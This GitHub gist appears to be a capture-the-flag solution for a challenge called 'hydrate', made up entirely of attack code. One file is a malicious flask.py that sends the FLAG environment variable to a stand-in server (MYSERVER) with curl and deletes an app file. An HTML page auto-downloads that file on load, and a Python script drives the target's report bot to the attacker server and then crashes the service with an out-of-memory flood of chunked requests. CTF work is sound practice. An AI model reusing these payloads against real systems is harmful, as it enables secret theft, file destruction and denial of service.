Created
October 20, 2024 18:13
-
-
Save Romern/4a3f774c56bc08fd0fb218f33b2b69e2 to your computer and use it in GitHub Desktop.
hydrate
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
import os | |
import base64 | |
os.system("curl https://MYSERVER/"+base64.b64encode(os.environ["FLAG"].encode()).decode()) | |
os.system("rm /app/flask.py") | |
os._exit(1) |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<html> | |
<head> | |
<script> | |
function download(url) { | |
const anchor = document.createElement('a') | |
anchor.href = url | |
anchor.download = url.split('/').pop() | |
document.body.appendChild(anchor) | |
anchor.click() | |
document.body.removeChild(anchor) | |
} | |
window.onload = function() {download("flask.py")}; | |
</script> | |
</head> | |
<body> | |
</body> | |
</html> |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
from http.server import HTTPServer, SimpleHTTPRequestHandler | |
import ssl | |
from pathlib import Path | |
port = 443 | |
httpd = HTTPServer(("0.0.0.0", port), SimpleHTTPRequestHandler) | |
ssl_context = ssl.SSLContext(ssl.PROTOCOL_TLS_SERVER) | |
ssl_context.load_cert_chain(Path(__file__).parent / "../server.pem") | |
httpd.socket = ssl_context.wrap_socket( | |
httpd.socket, | |
server_side=True, | |
) | |
print(f"Serving on https://localhost:{port}") | |
httpd.serve_forever() |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
import hashlib | |
from pwn import remote, context | |
from time import sleep | |
# Set context log level to hide verbose messages from pwntools | |
context.log_level = 'error' | |
def solve_pow(challenge, prefix): | |
"""Solves the proof of work challenge.""" | |
for s in range(2**40): | |
potential_solution = f'{challenge}{s}' | |
hash_value = hashlib.sha256(potential_solution.encode('utf-8')).hexdigest() | |
if hash_value.startswith(prefix): | |
return potential_solution | |
def get_domain(): | |
# Connect to the server | |
print("Retrieving POW challenge") | |
conn = remote('hydrate.today', 1337) | |
# Receive the challenge and prefix using recvuntil to capture the full structure | |
# Receive until we get 'string that starts with ', then extract the challenge | |
conn.recvuntil(b'string that starts with ') | |
challenge_info = conn.recvuntil(b' and whose sha256 hash starts with ').decode() | |
challenge = challenge_info.split(' ')[0].strip() # Extract challenge part | |
# Extract the sha256 prefix | |
prefix_info = conn.recvuntil(b'!\n').decode() | |
prefix = prefix_info.split(' ')[0].strip() | |
print(f"Solving PoW for challenge: {challenge}, with prefix: {prefix}") | |
# Solve the PoW | |
solution = solve_pow(challenge, prefix) | |
print(f"PoW solution: {solution}") | |
# Send the solution back to the server | |
conn.sendline(solution.encode()) | |
# Wait for the challenge instance to be ready | |
conn.recvuntil(b'Challenge instance is ready!') | |
conn.recvuntil(b'Please visit ') | |
domain = conn.recvline().decode().strip() | |
print(f"Domain: {domain}") | |
# Close the connection | |
conn.close() | |
domain = domain.replace('https://', '') | |
return domain | |
host = get_domain() | |
port = 443 | |
protocol = "https" | |
print(f"found host: {host}") | |
print("waiting 5 seconds for service to be spawned") | |
sleep(5) | |
### First Stage: Download flask.py with malicious code | |
print("First Stage: Download flask.py with malicious code") | |
import requests | |
resp = requests.post(f"{protocol}://{host}:{port}/report", data={"url": "https://MYSERVER"}) | |
print(f"Response: {resp.text}") | |
### Second stage: Crash the server through OOM | |
print("Second stage: Crash the server through OOM") | |
import socket | |
import ssl | |
raw_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM) | |
if protocol == "https": | |
context = ssl.create_default_context() | |
client_socket = context.wrap_socket(raw_socket, server_hostname=host) | |
else: | |
client_socket = raw_socket | |
client_socket.connect((host, port)) | |
def send_chunk(socket, chunk_data): | |
# Send the chunk size in hexadecimal followed by \r\n | |
socket.send(f"{len(chunk_data):X}\r\n".encode()) | |
# Send the actual chunk data followed by \r\n | |
socket.send(f"{chunk_data}\r\n".encode()) | |
# Create the POST request headers | |
headers = ( | |
"POST /report HTTP/1.1\r\n" | |
"Host: {}\r\n" | |
"Content-Type: application/x-www-form-urlencoded\r\n" | |
"Transfer-Encoding: chunked\r\n" | |
"\r\n" | |
).format(host) | |
client_socket.send(headers.encode()) | |
# Start sending the single 'url=' with infinite 'A's | |
# Send the 'url=' part of the body first | |
send_chunk(client_socket, "url=") | |
counter = 0 | |
# Now send infinite 'A's, chunked | |
a_amount = 1024 * 1024 * 50 | |
long_a = "A" * a_amount | |
while True: | |
# Send a chunk of 1000 'A's | |
send_chunk(client_socket,long_a) | |
counter = counter + 1 | |
print(f"send {counter}, mb: {(a_amount * counter) / (1024*1024)}") | |
if (a_amount * counter) / (1024*1024) > 12500: | |
client_socket.send("0\r\n\r\n".encode()) | |
break | |
response = b'' | |
# Receive the response data in chunks | |
try: | |
while True: | |
data = client_socket.recv(4096) # Receive up to 4096 bytes | |
if not data: | |
break | |
response += data | |
except socket.timeout: | |
print("Socket timed out waiting for response") | |
# Close the socket | |
client_socket.close() | |
print(f"output:\n{response.decode()}") | |
# Close the socket | |
client_socket.close() |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment